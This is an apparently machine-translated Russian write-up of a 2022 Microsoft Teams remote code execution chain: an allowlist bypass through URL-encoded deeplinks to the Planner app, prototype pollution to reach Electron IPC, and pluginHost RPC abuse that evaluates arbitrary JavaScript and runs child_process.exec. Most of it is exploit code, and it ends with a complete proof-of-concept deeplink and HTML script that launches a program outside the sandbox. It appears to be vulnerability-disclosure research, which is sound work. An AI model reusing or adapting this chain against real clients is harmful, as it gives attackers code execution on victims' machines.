2022 Microsoft Teams RCE
Обработчик deeplink для /l/task/:appId в Microsoft Teams может загружать произвольный URL-адрес в webview/iframe. Злоумышленник может отказаться от этого с помощью функций RPC команд, чтобы получить выполнение кода за пределами песочницы.
1. Обход списка разрешенных URL-адресов с помощью кодировки URL-адресов
... k(p.states.appDeepLinkTaskModule, { url: "l/task/:appId?url&height&width&title&fallbackURL&card&completionBotId" }), k(p.states.appSfbFreQuickStartVideo, { url: "sfbfrequickstartvideo" }), k(p.states.appDeepLinkMeetingCreate, { url: "l/meeting/new?meetingType&groupId&tenantId&deeplinkId&attendees&subject&content&startTime&endTime&nobyoe&qsdisclaimer" }), k(p.states.appDeepLinkMeetingDetails, { url: "l/meeting/:tenantId/:organizerId/:threadId/:messageId?deeplinkId&nobyoe&qsdisclaimer" }), k(p.states.appDeepLinkMeetingDetailsEventId, { url: "l/meeting/details?eventId&deeplinkId" }), k(p.states.appDeepLinkVirtualEventCreate, { url: "l/virtualevent/new?eventType" }), k(p.states.appDeepLinkVirtualEventDetails, { url: "l/virtualevent/:eventId" }), ...
В Microsoft Teams есть обработчик маршрута URL-адреса для /l/task/:appId, который принимает urlкак параметр. Это позволяет чат-боту, созданному приложениями Teams, отправлять пользователю ссылку, которая должна быть в белом списке URL-адресов.
Белый список создается из различных полей приложения:
a = angular.isDefined(e.validDomains) ? _.clone(e.validDomains) : []; return e.galleryTabs && a.push.apply(a, _.map(e.galleryTabs, function (e) { return i.getValidDomainFromUrl(e.configurationUrl) })), e.staticTabs && a.push.apply(a, _.map(e.staticTabs, function (e) { return i.getValidDomainFromUrl(e.contentUrl) })), e.connectors && a.push.apply(a, _.map(e.connectors, function (e) { return i.utilityService.parseUrl(e.configurationUrl).host These domains are converted into regular expressions, and are used to validate the url:
… www.office.com www.github.com …
```js ... t.prototype.isUrlInDomainList = function(e, t, n) { void 0 === n && (n = !1); for (var i = n ? e : this.parseUrl(e).href, s = 0; s < t.length; s++) { for (var a = "", r = t[s].split("."), o = 0; o < r.length; o++) a += (o > 0 ? "[.]" : "") + r[o].replace("*", "[^/^.]+"); var c = new RegExp("^https://" + a + "((/|\\?).*)?quot;,"i"); if (e.match(c) || i.match(c)) return !0 } return !1 } ...
Независимо от третьего параметра n, если исходный URL-адрес соответствует заданному регулярному выражению, эта проверка пройдена. Вместо этого после проверки URL-адреса проанализированная форма (parseUrl) передается в веб-просмотр.
e.prototype.setContainerUrl = function(e) { var t = this; this.sdkWindowMessageHandler && (this.sdkWindowMessageHandler.destroy(), this.sdkWindowMessageHandler = null); var n = this.utilityService.parseUrl(e); this.$q.when(this.htmlSanitizer.sanitizeUrl(n.href, ["https"])).then(function(e) { t.frameSrc = e }) }
Это проблематично, потому что parseUrl утилиты utilityService url-декодирует url; проверка выполняется на оригинальном, url-кодированном url. Особенно, когда разрешенный домен содержит подстановочный знак, например, *.office.com, генерируемое регулярное выражение имеет вид /^https://[^/^.]+[.]office[.]com((/|\?).*)?$/i. Подстановочный знак становится [^/^.]+, но если заданный url является https://attacker.com%23.office.com, то проверка пройдена. Однако после декодирования url становится https://attacker.com#.office.com, что приводит к загрузке сайта attacker.com.
Приложение Microsoft Planner (appId: 1ded03cb-ece5-4e7c-9f73-61c375528078) имеет домен с подстановочным знаком в поле validDomains:
{ "manifestVersion": "1.7", "version": "0.0.19", "categories": [ "Microsoft", "Productivity", "ProjectManagement" ], "disabledScopes": [ "PrivateChannel" ], "developerName": "Microsoft Corporation", "developerUrl": "https://tasks.office.com", "privacyUrl": "https://privacy.microsoft.com/privacystatement", "termsOfUseUrl": "https://www.microsoft.com/servicesagreement", "validDomains": [ "tasks.teams.microsoft.com", "retailservices.teams.microsoft.com", "retailservices-ppe.teams.microsoft.com", "tasks.office.com", "*.office.com" ], ... }
В результате эта ошибка позволяет злоумышленнику подгружать в произвольном месте в веб-просмотр.
Microsoft Teams
teams.live.com2. pluginHost позволяет опасные вызовы RPC из любого веб-просмотра
Поскольку контекстная изоляция не включена в веб-вью, злоумышленник может использовать загрязнение прототипа для вызова произвольных электронных IPC-вызовов к процессам (см. раздел "Приложение"). Учитывая этот примитив, атакующий может вызвать IPC-вызов 'calling
eams:ipc:initPluginHost' главного процесса, который дает идентификатор окна pluginHost. pluginHost открывает опасные RPC вызовы для любого веб-просмотра, например, возвращая член 'registered objects', вызывая их и импортируя некоторые разрешенные модули.
// n, o is controllable P(c.remoteServerMemberGet, (e, t, n, o) => { const i = s.objectsRegistry.get(n); if (null == i) throw new Error( `Cannot get property '${o}' on missing remote object ${n}` ); return A(e, t, () => i[o]); }), // n, o, i is controllable P(c.remoteServerMemberCall, (e, t, n, o, i) => { i = v(e, t, i); const r = s.objectsRegistry.get(n); if (null == r) throw new Error( `Cannot call function '${o}' on missing remote object ${n}` ); return A(e, t, () => r[o](...i)); }),
Злоумышленник может получить конструктор любого объекта, а конструктор конструктора (Функции) скомпилирует произвольный код JavaScript, и вызовет скомпилированную функцию.
[_,pluginHost]=ipc.sendSync('calling:teams:ipc:initPluginHost', []); msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{hey: 1}, 1, 'constructor', []], '')[0].id msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'alert()'}]], '')[0].id
require()не подвергается воздействию самого скрипта, но скрипт, контролируемый злоумышленником, может перезаписать прототип String, в этом коде:
function loadSlimCore(slimcoreLibPath) { let slimcore; if (utility.isWebpackRuntime()) { const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\"); slimcore = eval(`require('${slimcoreLibPathWebpack}')`); ... } ... function requireEx(e, t) { ... const { slimCoreLibPath: n, error: o } = electron_1.ipcRenderer.sendSync( constants.events.calling.getSlimCoreLibInfo ); if (o) throw new Error(o); if (t === n) return loadSlimCore(n); // n === 'slimcore' throw new Error("Invalid module: " + t); } // y === requireEx P(c.remoteServerRequire, (e, t, n) => A(e, t, () => y(e, n))),
Если злоумышленник вызывает remoteServerRequire с 'slimcore'в качестве аргумента pluginHost оценивает строку, возвращенную String.prototype.replace. Следовательно, следующий код может вызывать require с произвольными аргументами и вызывать методы в модуле.
msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";'}]], '')[0].id ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{hey: 1}, msg, []], '') ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{hey: 1}, 'slimcore'], '')
Используя модуль child_process, злоумышленник может выполнить любую программу.
Приложение A: Доступ к любым модулям комплекта, когда не включена контекстная изоляция между скриптом предварительной загрузки и веб-страницами
Electron компилирует и выполняет скрипт с именем sandbox_bundle.js в каждом фрейме песочницы, а также регистрирует обработчик, который показывает предупреждения безопасности, если этого хочет пользователь. Чтобы включить предупреждения безопасности, пользователи могут установить ELECTRON_ENABLE_SECURITY_WARNINGS либо в переменных окружения, либо в окне.
lib/renderer/security-warnings.ts#L43-L46: if ((env && env.ELECTRON_ENABLE_SECURITY_WARNINGS) ||| (window && window.ELECTRON_ENABLE_SECURITY_WARNINGS)) { shouldLog = true; }
Эта функция вызывается при событии 'load' окна:
export function securityWarnings (nodeIntegration: boolean) { const loadHandler = async function () { if (shouldLogSecurityWarnings()) { const webPreferences = await getWebPreferences(); logSecurityWarnings(webPreferences, nodeIntegration); } }; window.addEventListener('load', loadHandler, { once: true }); } security-warnings.ts также собран в sandbox_bundle.js с помощью webpack. Имеется импорт webFrame, который лениво загружает "./lib/renderer/api/web-frame.ts". import { webFrame } from 'electron'; ... const isUnsafeEvalEnabled = () => { return webFrame._isEvalAllowed(); }; // это вызывается warnAboutInsecureCSP + logSecurityWarnings
import { defineProperties } from '@electron/internal/common/define-properties'; import { moduleList } from '@electron/internal/sandboxed_renderer/api/module-list'; module.exports = {}; defineProperties(module.exports, moduleList); В define-properties.ts определяется getter для всех модулей в moduleList; loader вызывается при обращении к модулю, например, webFrame. const handleESModule = (loader: ElectronInternal.ModuleLoader) => () => { const value = loader(); if (value.__esModule && value.default) return value.default; return value; }; // Прикрепляет свойства к |targetExports|. export function defineProperties (targetExports: Object, moduleList: ElectronInternal.ModuleEntry[]) { const descriptors: PropertyDescriptorMap = {}; for (const module of moduleList) { descriptors[module.name] = { enumerable: !module.private, get: handleESModule(module.loader) }; } return Object.defineProperties(targetExports, descriptors); }
Загрузчик для webFrame определяется в moduleList:
export const moduleList: ElectronInternal.ModuleEntry[] = [ { ... { name: 'webFrame', loader: () => require('@electron/internal/renderer/api/web-frame') },
}, { name: "webFrame", loader: ()=>r(/*! @electron/internal/renderer/api/web-frame */ "./lib/renderer/api/web-frame.ts") }, {
Функция r выше - это __webpack_require__, которая фактически загружает модуль, если он еще не загружен.
function __webpack_require__(r) { if (t[r]) return t[r].exports;
Здесь t - это список кэшированных модулей. Если модуль не загружен никаким кодом, t[r] не определен. Кроме того, t.__proto__ указывает на Object.prototype, поэтому атакующий может установить getter для пути к модулю, чтобы получить весь список кэшированных модулей.
const KEY = './lib/renderer/api/web-frame.ts'; let modules; Object.prototype.__defineGetter__(KEY, function () { console.log(this); modules = this; delete Object.prototype[KEY]; main(); })
Это позволяет атакующему получить модуль electron/internal/renderer/api/ipc-renderer для отправки любых IPC любым процессам.
var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default; [_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []);
Мы использовали это для отправки IPC на pluginHost (см. раздел 2) и выполнения программы вне песочницы.
https://teams.live.com/l/task/1ded03cb-ece5-4e7c-9f73-61c375528078?url=https://0e1%252Ekr%5Ccd2c4753c4cb873c7be66e3ffdeae71f71ce33482e9921bab01dc3670a3b4f95%5C%23.office.com/&height=100&width=100&title=hey&fallbackURL=https://aka.ms/hey&completionBotId=&fqdn=teams.live.com
<script> const KEY = './lib/renderer/api/web-frame.ts'; let modules; Object.prototype.__defineGetter__(KEY, function () { console.log(this); modules = this; delete Object.prototype[KEY]; main(); }) window.ELECTRON_ENABLE_SECURITY_WARNINGS = true; function main() { var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default; [_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []); msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{ hey: 1 }, 'slimcore'], '')[0] msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{ hey: 1 }, msg.id, 'constructor', []], '')[0] msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{ hey: 1 }, msg.id, 'constructor', [{ type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";' }]], '')[0] ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{ hey: 1 }, msg.id, []], '') msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{ hey: 1 }, 'slimcore'], '') } </script>